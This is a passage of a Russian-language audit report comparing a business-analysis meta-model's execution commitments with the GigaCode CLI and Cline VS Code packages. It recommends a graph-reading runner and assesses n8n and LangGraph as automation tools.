\u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435 \u0432 Cline \u0438 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0443 \u0440\u043e\u043b\u0438\\n\u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0447\u0438\u0442\u0430\u0442\u044c\\n\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u0441\u0440\u0435\u0434\u0438 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\u0435\u0433\u043e \u043d\u0435\u0442, \u0430 `Actor` \u2014 \u044d\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a ([\u0413-26](#\u0433-26)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\\n\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043c\u043e\u043b\u0447\u0430 \u0432\u0437\u044f\u043b \u043d\u0430 \u0441\u0435\u0431\u044f \u043a\u0442\u043e-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439: \u0432 GigaCode CLI \u2014\\n\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b. \u041e\u0442\u0441\u044e\u0434\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b: \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 YAML\\n\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f ([\u0413-28](#\u0433-28)), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 ([\u0413-29](#\u0433-29)), \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\\n\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 ([\u0413-31](#\u0433-31)), \u0430 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\\n\u0437\u0430\u0434\u0430\u0447\u0443 ([\u0413-32](#\u0433-32)).\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0434\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u044f\u0434\u0440\u0435.**\\n\\n1. **\u0420\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410 (\u0441\u0440\u0435\u0434\u044b 1 \u0438 2).** \u041f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c `tools/run-task` \u0438\u0437\\n   \u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a\u0430 \u0432 \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e: runner \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0437 Source,\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c, \u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0447\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435\u00bb \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c. GigaCode CLI \u0438 Cline \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n   \u0442\u0435\u043c, \u0447\u0435\u043c \u043e\u043d\u0438 \u0441\u0438\u043b\u044c\u043d\u044b, \u2014 \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\\n   \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440,\\n   \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0438 \u0442\u0435\u0441\u0442\u044b ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-1-\u0440\u0430\u0431\u043e\u0447\u0435\u0435-\u043c\u0435\u0441\u0442\u043e-\u0431\u0430)).\\n2. **\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430: \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n   \u0432 Postgres, \u0432\u044b\u0437\u043e\u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0442 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0443, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438. \u0414\u0432\u0438\u0436\u043e\u043a \u2014\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n   \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438. \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f \u0411\u0410 \u2014 \u0442\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API\\n   runner ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-2-\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f-\u0441\u0440\u0435\u0434\u0430-4)).\\n\\n**\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u0440\u043e n8n \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e** ([\u0413-44](#\u0433-44)). n8n \u0445\u043e\u0440\u043e\u0448 \u043a\u0430\u043a\\n\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0444\u043e\u0440\u043c\u044b, \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira, \u0432\u044b\u0437\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437\\nOpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d 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\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n2026 \u0433\u043e\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u0412\\n\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u0430\u043a \u0441\u043b\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u0432\u0435\u0440\u0445 API runner, \u043d\u043e \u043d\u0435\\n\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n- **\u0427\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n  [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n  \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n  [GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n  \u0438\\n  [Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-cline-vscode);\\n  \u0441\u0440\u0435\u0434\u044b 1\u20134 \u0438\u0437\\n  [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)\\n  \u0438 [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96);\\n  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n  \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.\\n- **\u0427\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c 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[`experiments/issue_639_runner_probes.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py)\\n   \u0441 [\u0436\u0443\u0440\u043d\u0430\u043b\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log);\\n   \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 2026-09-29. \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 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\u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n4. **\u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u0438\u043f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438** \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438: \u0432\u044b\u0441\u043e\u043a\u0430\u044f,\\n   \u0441\u0440\u0435\u0434\u043d\u044f\u044f, \u043d\u0438\u0437\u043a\u0430\u044f; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c. \u0414\u043b\u044f \u0441\u043b\u043e\u044f 3\\n   \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0442\u0438\u043f **\u0432\u044b\u0431\u043e\u0440** \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 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\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n|---------------|-------------------|--------------------------|----------------------|----------------------|\\n| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n| \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443 \u0440\u0435\u0431\u0440\u0430 (`EP-R3`, `EP-R5`) | [L227, L229](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L227-L229) | 17 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 YAML \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0432\u0435\u0442\u0432\u0438 \u043f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n| \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`EP-R8`) | [L232](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L232) | `halt` \u2014 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | \u041d\u0435\u0442 | Runner ([\u0413-31](#\u0433-31)) |\\n| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 (G-human) | `Gate` \u0432 [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50) | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 `approval` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c ([\u0413-18 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-18)) | Runner + \u0447\u0435\u043b\u043e\u0432\u0435\u043a |\\n\\n\u0412\u044b\u0432\u043e\u0434 \u043f\u043e \u0441\u043b\u043e\u044e 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u00bb, \u0430\\n\u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b\\n\u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0441\u0440\u0435\u0434\u0435, \u043a\u0440\u043e\u043c\u0435 `EP-R8`, \u0433\u0434\u0435 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 